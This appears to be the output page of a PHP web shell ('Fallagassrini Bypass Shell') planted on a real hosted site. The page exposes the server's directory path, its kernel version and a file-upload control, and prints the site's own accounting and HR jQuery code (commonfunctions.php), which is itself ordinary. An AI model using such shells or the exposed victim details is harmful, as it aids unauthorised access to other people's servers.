? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/views/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/views/commonfunctions.php

<script type="text/javascript">
    function empty_text(tag)
     {
         $('#'+tag).val("");
     }
    function checknumeric()
    {
        $('input.auto').autoNumeric();
    }
    function checkamount(id)
    {
        var val= $('#' + id).val();   
        if (val <= 0)
        {
            alert('Amount should be greater than zero.');
            $('#' + id).val("");
        }
    }
    function checkdata(id, className, comment)
    {
        var numItems = $('.' + className).length
        var i = 1;
        var flag = 1;
        for (i = 1; i <= numItems; i++)
        {
            if ($('input#' + id + '_id' + i).val() == "")
            {
                flag = 0;
                $('input#' + id + i).val("");

            }
        }
        if (flag == 0)
        {
            alert(comment)
            return false;
        }
        else return true

    }
    function checkdatavalidity(jid, field, comment)
    {
        if (jid == "")
        {
            alert(comment)
            $('input#' + field).val("");
            return false;
        }
        else return true
    }
    function  suggestaccount(divid)
    {
            
        $(divid).autocomplete("<?= site_url() ?>/master/autosuggestaccount/", {
            width: 250,
            selectFirst: false
        });
    }
    function  suggest_bank_account(divid)
    {
        $(divid).autocomplete("<?= site_url() ?>/master/autosuggestbankaccount/", {
            width: 250,
            selectFirst: false
        });
    }
    function suggestmainaccount(divattr)
    {
        $(divattr).autocomplete("<?= site_url() ?>/master/autosuggestmainaccount/", {
            width: 250,
            selectFirst: false
        });
    }
    function viewthis_unpost(id)
    {
        $("#empdiv").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#empdiv").load("<?= site_url('accounting/viewsingle_page/') ?>/" + id );
        $(".clickimage1").colorbox({width: "75%", height: "70%", inline: true, href: "#empdiv"});
    }
    function checkfiscalyear()
    {
        $.ajax({
            type: "POST",
            url: "<?= site_url('accounting/checkaccountisset/') ?>",
            success: function(msg) {
                if (msg == 0)
                {
                    $("#viewmsg").fadeIn(900, 0);
                    $("#viewmsg").html("<div style=\"border:1px solid red;text-align:center; width:500px;height:20px;margin-left:30%\" ><font color=\"red\" >Set the fiscal year to process payment OR Fiscal Year is Closed</font></div>");
                    $('button[type=submit]#button1').attr('disabled', 'disabled');
                }
                else if (msg == -1)
                {
                    $("#viewmsg").fadeIn(900, 0);
                    $("#viewmsg").html("<div style=\"border:1px solid red;text-align:center; width:500px;height:20px;margin-left:30%\" ><font color=\"red\" >Set the currency to process payment</font></div>");
                    $('button[type=submit]#button1').attr('disabled', 'disabled');
                }
                else
                {
                    $("#viewmsg").css('display', 'none');
                }
            }
        });
    }
    function set_fiscal_year_current(fiscal_year_id)
    {
        $.ajax({
            type: "POST",
            dataType: "json",
            url: "<?= site_url('master/checkexistencearray/') ?>/finance_fiscal_year/fiscal_year_id" + '/' + fiscal_year_id,
            success: function(msg) {
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    url: "<?= site_url('accounting/set_fiscal_year_current/') ?>/" + fiscal_year_id,
                    success: function()
                    {
                        viewdata('accounting', 'viewinaccountingsearch', 'search_fiscal_year', 'view_fiscal_year', '1');
                    }
                });
            }
        });
    }
    function set_currency_closed(currency_id)
    {
        $.ajax({
            type: "POST",
            dataType: "json",
            url: "<?= site_url('master/checkexistencearray/') ?>/finance_currency/currency_id" + '/' + currency_id,
            success: function(msg) {
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    url: "<?= site_url('accounting/set_currency_closed/') ?>/" + currency_id,
                    success: function(msg)
                    {
                        viewdata('accounting', 'viewinaccountingsearch', 'search_currency', 'view_currency', '1');
                    }
                });
            }
        });

    }
    function select_payment_mode(val, divid)
    {

        $("#" + divid).empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#" + divid).load("<?= site_url() ?>/" + 'accounting' + '/' + 'show_payment_type' + '/' + val);
    }
    function select_purchase_type(id, divid, select)
    {

        var type = $('#' + id).val();
        if (type == "")
        {
            $("#" + divid + id).html('<option value="" >--Select--</option>');
        }
        else
        {
            $("#" + divid + id).empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
            $("#" + divid + id).load("<?= site_url() ?>/" + 'accounting' + '/' + 'show_purchase_type' + '/' + type + '/' + select);
        }
    }

    function view_alert()
    {
        var divid = "inner_content";
        $("#" + divid).empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#" + divid).load("<?= site_url() ?>/" + 'settings' + '/' + 'show_alert' + '/' + 'display_alert');
    }
    function viewdata(controller, controllerfunction, modelfunction, page, pagenum)
    {
        if (arguments[5])
        {
            var divid = arguments[5];
        }
        else
        {
            var divid = "inner_content";
        }
        $("#" + divid).empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#" + divid).load("<?= site_url() ?>/" + controller + '/' + controllerfunction + '/' + modelfunction + '/' + page + '/' + pagenum);
    }
    function addformdisplay(page, directory)
    {
        $("#inner_content").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#inner_content").load("<?= site_url('master/addformdisplay/') ?>/" + page + '/' + directory);
    }
    function editformdata(controller, controllerfunction, id, table, field, page)
    {
        $("#inner_content").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#inner_content").load("<?= site_url() ?>/" + controller + '/' + controllerfunction + '/' + id + '/' + table + '/' + field + '/' + page);
    }
    function displayformdata(controller, controllerfunction, id, table, field, page)
    {
        $("#inner_content").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#inner_content").load("<?= site_url() ?>/" + controller + '/' + controllerfunction + '/' + id + '/' + table + '/' + field + '/' + page);
    }
    function display_alert(controller, controllerfunction, id, table, field, page)
    {
        $("#alert_show").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#alert_show").load("<?= site_url() ?>/" + controller + '/' + controllerfunction + '/' + id + '/' + table + '/' + field + '/' + page);
    }
    function viewformdata(controller, controllerfunction, id)
    {
        $("#inner_content").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#inner_content").load("<?= site_url() ?>/" + controller + '/' + controllerfunction + '/' + id);
    }
    function uploadformdata(controller, controllerfunction, master_id, return_function, return_page)
    {

        $("#inner_content").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
        $("#inner_content").load("<?= site_url() ?>/master/upload_form/" + controller + '/' + controllerfunction + '/' + master_id + "/" + return_function + "/" + return_page);
    }
    function deletedata(deltable, id, delfield, controller, controllerfunction, modelfunction, page, table, field, value)
    {


        var clicked = function() {
            $.fallr('hide');
            if (value)
            {
                var val = value;
            }
            else
            {
                var val = id;
            }
            if (table != "" && field != "")
            {
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    url: "<?= site_url('master/checkexistencearray/') ?>/" + table + '/' + field + '/' + val,
                    success: function(msg) {
                        if (msg == 1)
                        {
                            $('html, body').animate({scrollTop: 0}, 'slow'); // for scrolling to the top of the page

                            $("#remessages").fadeIn(900, 0);
                            $("#remessages").html("<font color=\"red\" >Record with relation exists.Cannot delete! </font>");
                            $("#remessages").fadeOut(9000, 0);
                        }
                        else
                        {
                            $.ajax({
                                type: "POST",
                                dataType: "json",
                                url: "<?= site_url('master/deletedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                                success: function(msg)
                                {
                                    viewdata(controller, controllerfunction, modelfunction, page, '1');
                                }
                            });
                        }
                    }
                });
            }
            else
            {
                $.ajax({
                    type: "GET",
                    dataType: "json",
                    url: "<?= site_url('master/deletedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                    success: function(msg) {
                        viewdata(controller, controllerfunction, modelfunction, page, '1');
                    }
                });
            }
        };

        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Yes', danger: true, onclick: clicked},
                                button2: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to delete ?</p>',
                    icon: 'error'
                });
    }

    function deletevendorpurchasedata(deltable, id, delfield, controller, controllerfunction, modelfunction, page, table, field, value)
    {

        var clicked = function() {
            $.fallr('hide');
            if (value)
            {
                var val = value;
            }
            else
            {
                var val = id;
            }
            if (table != "" && field != "")
            {
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    url: "<?= site_url('master/checkexistencearray/') ?>/" + table + '/' + field + '/' + val,
                    success: function(msg) {
                        $.ajax({
                            type: "POST",
                            dataType: "json",
                            url: "<?= site_url('inventory/deletedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                            success: function(msg)
                            {
                                viewdata(controller, controllerfunction, modelfunction, page, '1');
                            }
                        });
                    }
                });
            }
            else
            {
                $.ajax({
                    type: "GET",
                    dataType: "json",
                    url: "<?= site_url('inventory/deletedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                    success: function(msg) {
                        viewdata(controller, controllerfunction, modelfunction, page, '1');
                    }
                });
            }
        };

        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Yes', danger: true, onclick: clicked},
                                button2: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to delete ?</p>',
                    icon: 'error'
                });
    }
    function deletestockmaintenance(deltable, id, delfield, controller, controllerfunction, modelfunction, page, table, field, value)
    {

        var clicked = function() {
            $.fallr('hide');
            if (value)
            {
                var val = value;
            }
            else
            {
                var val = id;
            }
            if (table != "" && field != "")
            {
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    url: "<?= site_url('master/checkexistencearray/') ?>/" + table + '/' + field + '/' + val,
                    success: function(msg) {

                        $.ajax({
                            type: "POST",
                            dataType: "json",
                            url: "<?= site_url('master/deletedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                            success: function(msg)
                            {
                                viewdata(controller, controllerfunction, modelfunction, page, '1');
                            }
                        });
                    }
                });
            }
            else
            {
                $.ajax({
                    type: "GET",
                    dataType: "json",
                    url: "<?= site_url('inventory/deletestockmaintenancedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                    success: function(msg) {
                        viewdata(controller, controllerfunction, modelfunction, page, '1');
                    }
                });
            }
        };

        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Yes', danger: true, onclick: clicked},
                                button2: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to delete ?</p>',
                    icon: 'error'
                });
    }

    function deleteutilization(deltable, id, delfield, controller, controllerfunction, modelfunction, page, table, field, value)
    {
        var clicked = function() {
            $.fallr('hide');
            if (value)
            {
                var val = value;
            }
            else
            {
                var val = id;
            }
            if (table != "" && field != "")
            {
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    url: "<?= site_url('master/checkexistencearray/') ?>/" + table + '/' + field + '/' + val,
                    success: function(msg) {
                        $.ajax({
                            type: "POST",
                            dataType: "json",
                            url: "<?= site_url('master/deletedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                            success: function(msg)
                            {
                                viewdata(controller, controllerfunction, modelfunction, page, '1');
                            }
                        });
                    }
                });
            }
            else
            {
                $.ajax({
                    type: "GET",
                    dataType: "json",
                    url: "<?= site_url('inventory/deleteutilization/') ?>/" + deltable + "/" + id + "/" + delfield,
                    success: function(msg) {
                        viewdata(controller, controllerfunction, modelfunction, page, '1');
                    }
                });
            }
        };

        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Yes', danger: true, onclick: clicked},
                                button2: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to delete ?</p>',
                    icon: 'error'
                });
    }

    function deletereturn(deltable, id, delfield, controller, controllerfunction, modelfunction, page, table, field, value)
    {
        var clicked = function() {
            $.fallr('hide');
            if (value)
            {
                var val = value;
            }
            else
            {
                var val = id;
            }
            if (table != "" && field != "")
            {
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    url: "<?= site_url('master/checkexistencearray/') ?>/" + table + '/' + field + '/' + val,
                    success: function(msg) {
                        $.ajax({
                            type: "POST",
                            dataType: "json",
                            url: "<?= site_url('master/deletedata/') ?>/" + deltable + "/" + id + "/" + delfield,
                            success: function(msg)
                            {
                                viewdata(controller, controllerfunction, modelfunction, page, '1');
                            }
                        });
                    }
                });
            }
            else
            {
                $.ajax({
                    type: "GET",
                    dataType: "json",
                    url: "<?= site_url('inventory/deletereturn/') ?>/" + deltable + "/" + id + "/" + delfield,
                    success: function(msg) {
                        viewdata(controller, controllerfunction, modelfunction, page, '1');
                    }
                });
            }
        };

        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Yes', danger: true, onclick: clicked},
                                button2: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to delete ?</p>',
                    icon: 'error'
                });
    }

    function confirmDelete()
    {

        if (confirm("Are you sure you want to delete"))
            return 1;
        else
            return 0;
    }

    function addformdata(formid)
    {

        if (arguments[1])
        {
            var divid = arguments[1];
        }
        else
        {
            var divid = "inner_content";
        }
        if (callvalidate(formid))
        {
            $("#" + formid + ":button").attr('disabled', 'disabled');
            $('.validate').ajaxForm({
                success: function(data)
                {
                    $("#" + divid).html(data);
                    $('html, body, #' + divid).animate({scrollTop: 0}, 'slow');
                    $('#table-example').dataTable();
                }
            });
        }
    }

    function callvalidate(formid)
    {
        $("#" + formid).validate();
        return $("#" + formid).valid();
    }

    function suggestemployee(divid)
    {

        $("#" + divid).autocomplete("<?= site_url() ?>/master/autosuggestemployee/", {
            width: 250,
            selectFirst: false
        });

    }
    function checkexistence(table, field, value, primary_field)
    {

        if (value != 0 && value != '')
        {
            $.ajax({
                type: "POST",
                dataType: "json",
                url: "<?= site_url('master/checkexistence/') ?>/" + table + '/' + field + '/' + value + '/' + primary_field,
                success: function(data) {
                    if (data == 1)
                    {
                        $("#" + field).val("");
                        $("#" + field).val("");
                        $("input#" + field).val("");
                        $("select#" + field).val("");
                        $("#" + field).css('border', 'solid 1px red');
                        $("#" + field).focus();
                        $("#success-panel").fadeIn(900, 0);
                        $("#success-panel").html("Duplicate Entry Recorded");
                        $("#success-panel").fadeOut(2000, 0);



                    }
                }
            });
        }
    }

    function checkdatavalidity(jid, field, comment)
    {
        if (jid == "")
        {
            alert(comment)
            $('input#' + field).val("");
            return false;
        }
    }
    function remove_alert(id)
    {
        var clicked = function() {
            $.fallr('hide');
            $.ajax({
                type: "GET",
                dataType: "json",
                url: "<?= site_url('settings/remove_alert/') ?>/" + 'alert' + "/" + id + "/alert_id",
                success: function(msg) {
                    viewdata('settings', 'viewinsettingssearch', 'search_alert', 'view_alert', '1');
                }
            });
        };

        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Yes', danger: true, onclick: clicked},
                                button2: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to remove ?</p>',
                    icon: 'error'
                });
    }
    function calculteallowancetotal(val, mode, count)
    {

        var basicsalary = $("input#basic_salary").val();

        if (!basicsalary)
        {
            alert("Please set basic salary")
        }
        else
        {
            if (mode == 1)
            {
                val = parseFloat(basicsalary) * parseFloat(val) * 0.01;
            }
            $('input#alltotal_' + count).val(val);

            var allowcount = $("input#allowcount").val();


            var deduction = $("input#deduction").val();
            var sumallow = 0;

            for (var i = 1; i < allowcount; i++)
            {

                var allowamount = $("input#alltotal_" + i).val();

                if (allowamount)
                    sumallow += parseFloat(allowamount);



            }

            $('input#allowance').val(sumallow);
            var commission = $("input#commission").val();
            var grosssalary = parseFloat(sumallow) + parseFloat(basicsalary);
            var netsalary = parseFloat(grosssalary) - parseFloat(deduction);
            var payamount = parseFloat(netsalary) + parseFloat(commission);
            $('input#grosssalary').val(grosssalary);
            $('input#netsalary').val(netsalary);
            $('input#payamount').val(payamount);


        }

    }
    function calcultedeductiontotal(val, mode, count)
    {
        var basicsalary = $("input#basic_salary").val();
        if (!basicsalary)
        {
            alert("Please set basic salary")
        }
        else
        {
            if (mode == 1)
            {
                val = parseFloat(basicsalary) * parseFloat(val) * 0.01;
            }

            $("input#dedtotal_" + count).val(val);
            var dedcount = $("input#dedcount").val();

            var allowance = $("input#allowance").val();
            var sumded = 0;

            for (var i = 1; i < dedcount; i++)
            {

                var dedamount = $("input#dedtotal_" + i).val();

                if (dedamount)
                    sumded += parseFloat(dedamount);

            }

            $('input#deduction').val(sumded);
            var commission = $("input#commission").val();
            var grosssalary = parseFloat(allowance) + parseFloat(basicsalary);
            var netsalary = parseFloat(grosssalary) - parseFloat(sumded);
            var payamount = parseFloat(netsalary) + parseFloat(commission);
            $('input#grosssalary').val(grosssalary);
            $('input#netsalary').val(netsalary);
            $('input#payamount').val(payamount);
        }
    }

    function changebasicsalary(val)
    {

        var allowance = $("input#allowance").val();
        var deduction = $("input#deduction").val();

        var grosssalary = parseFloat(allowance) + parseFloat(val);
        var netsalary = parseFloat(grosssalary) - parseFloat(deduction);
        $('input#grosssalary').val(grosssalary);
        $('input#netsalary').val(netsalary);

    }
    function calculatepayamount(commission_amount)
    {
        var netsalary = $("input#netsalary").val();
        var payamount = parseFloat(netsalary) + parseFloat(commission_amount);
        $('input#payamount').val(payamount);
    }
    function suggestemployeesalarypayment(date)
    {
        $("#employee").autocomplete("<?= site_url() ?>/hr/autosuggestemployeesalarypayment/" + date, {
            width: 250,
            selectFirst: false
        });

    }

    function change_leave_status(status, id)
    {
        $.ajax({
            type: "GET",
            dataType: "json",
            url: "<?= site_url('hr/leave_approval/') ?>/" + id + "/" + status,
            success: function(msg) {
                viewdata('hr', 'viewinhrsearch', 'search_leave_application', 'view_leave_application', '1');
            }
        });
    }


    function leave_approval(id)
    {
        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Approve', danger: false, onclick: function()
                                    {
                                        $.fallr('hide');
                                        change_leave_status('Approved', id);
                                    }},
                                button2: {text: 'Reject', danger: true, onclick: function() {
                                        $.fallr('hide');
                                        change_leave_status('Reject', id);
                                    }},
                                button3: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to Approve ?</p>',
                    icon: 'Confirm-like'
                });
    }
    function showPreloader(divid)
    {
        $("#" + divid).empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
    }
    function hidePreloader(divid)
    {
        $("#" + divid).empty().html('');
    }
    function get_building_info(id)
    {

        $("#building_details").load("<?= site_url() ?>" + '/master/get_building_info/' + id);
    }

    function post(id, model_function, page)
    {
        $.ajax({
            type: "GET",
            dataType: "json",
            url: "<?= site_url('accounting/post_data/') ?>/" + id,
            success: function(msg) {
                alert('Posted Successfully');
                $.fn.colorbox.close();
                viewdata('accounting', 'viewinaccountingsearch', model_function, page, '1');

            }
        });
    }
    Number.prototype.formatMoney = function(c, d, t) {
        var n = this, c = isNaN(c = Math.abs(c)) ? 2 : c, d = d == undefined ? "," : d, t = t == undefined ? "." : t, s = n < 0 ? "-" : "", i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;
        return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
    };
    function post_journal_voucher(id)
    {


        var clicked = function() {
            $.fallr('hide');
            $.ajax({
                type: "GET",
                dataType: "json",
                url: "<?= site_url('accounting/post_data/') ?>/" + id,
                success: function(msg) {
                    alert('Posted Successfully');
                    viewdata('accounting', 'viewinaccountingsearch', 'search_journal_voucher_unposted', 'view_journal_voucher_unposted', '1');
                    $.fn.colorbox.close();
                }
            });
        };

        $.fallr('show',
                {
                    buttons:
                            {
                                button1: {text: 'Yes', danger: true, onclick: clicked},
                                button2: {text: 'Cancel', onclick: function() {
                                        $.fallr('hide')
                                    }}
                            },
                    content: '<p>Are you sure you want to Post ?</p>',
                    icon: 'error'
                });
    }
    function setchosen(el)
    {
        $('select').chosen();
        $(window).resize(function() {
            $('.chzn-container').each(function() {
                var $chzn = $("#" + el), $select = $('#' + $chzn.attr('id').replace('_chzn', ''));
                $chzn.css('width', parseFloat($select.show().css('widthExact')) + 3 + 'px');
                $select.hide();
            });
        });
    }
    
    function validateRow()
        {
        var flag = 0;
        var rowTotal = $('table  tr.addAccount ').length;
        var i = 1;
        for (i = 1; i <= rowTotal; i++)
        {
            var debit = $('#debit' + i).val();
            var credit = $('#credit' + i).val();
            debit = (debit < 1) ? '0' : debit;
            credit = (credit < 1) ? '0' : credit;
            if ((debit >= 1 && credit >= 1) || (debit == credit))
            {
                flag = 1;
                alert('Enter any one (credit or debit) at a time');
                return false;

            }
            if ($('#account_id' + i).val() == "")
            {
                $('#account' + i).val("");
                alert('Enter valid Account');                
                flag = 1;
                return false;
            }
        }
        if (flag == 0)
        {
             return true
        }
        
    }

    function validateAmount(obj)
    {
        var RowIndex = $(obj).parents('table  tr.addAccount ').index() + 1;
        var debit = $('#debit' + RowIndex).val();
        var credit = $('#credit' + RowIndex).val();


        debit = (debit < 1) ? '0' : debit;
        credit = (credit < 1) ? '0' : credit;
        obj.value=(obj.id == 'debit' + RowIndex) ? parseFloat(debit).toFixed(2):parseFloat(credit).toFixed(2);
        
        if ((debit >= 1 && credit >= 1) || (debit == credit))
        {
            if ($('#debit' + RowIndex).val() != '' && $('#credit' + RowIndex).val() != '')
                alert('enter any one(credit or debit) at a time');
            obj.value = '0'.toFixed(2);
        }
        getSum();
    }

    function getSum()
    {
        var rowTotal = $('table  tr.addAccount ').length;
        var sumDebit = 0;
        var sumCredit = 0;
        var i = 1;
        for (i = 1; i <= rowTotal; i++)
        {
            var debit = $('#debit' + i).val();
            var credit = $('#credit' + i).val();
            debit = (debit < 1) ? '0' : debit;
            credit = (credit < 1) ? '0' : credit;
            sumDebit += parseFloat(debit);
            sumCredit += parseFloat(credit);
        }
        $('#sumdebit').val(sumDebit.toFixed(2));
        $('#sumcredit').val(sumCredit.toFixed(2));

    }
    function validateAccount(obj, account)
    {
        alert($(obj).val())
        if ($(obj).val() != "")
        {
            if ($('#' + account).val() == "")
            {
                $(obj).val("");
//                alert('Select Existing Account');
            }
        }

    }
    
    function insertpayment()
    {
        addformdata('validateform')
        var debit = document.getElementById('sumdebit').value;
        var credit = document.getElementById('sumcredit').value;
        if ( debit != credit )
        {
            alert('Total credit and Debit Does not match');
            return false;
        }
        else if (credit <= 0 || debit <= 0)
        {
            alert('Add atleast one debit and credit account');
            return false;
        }
        return validateRow();
    }
</script>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net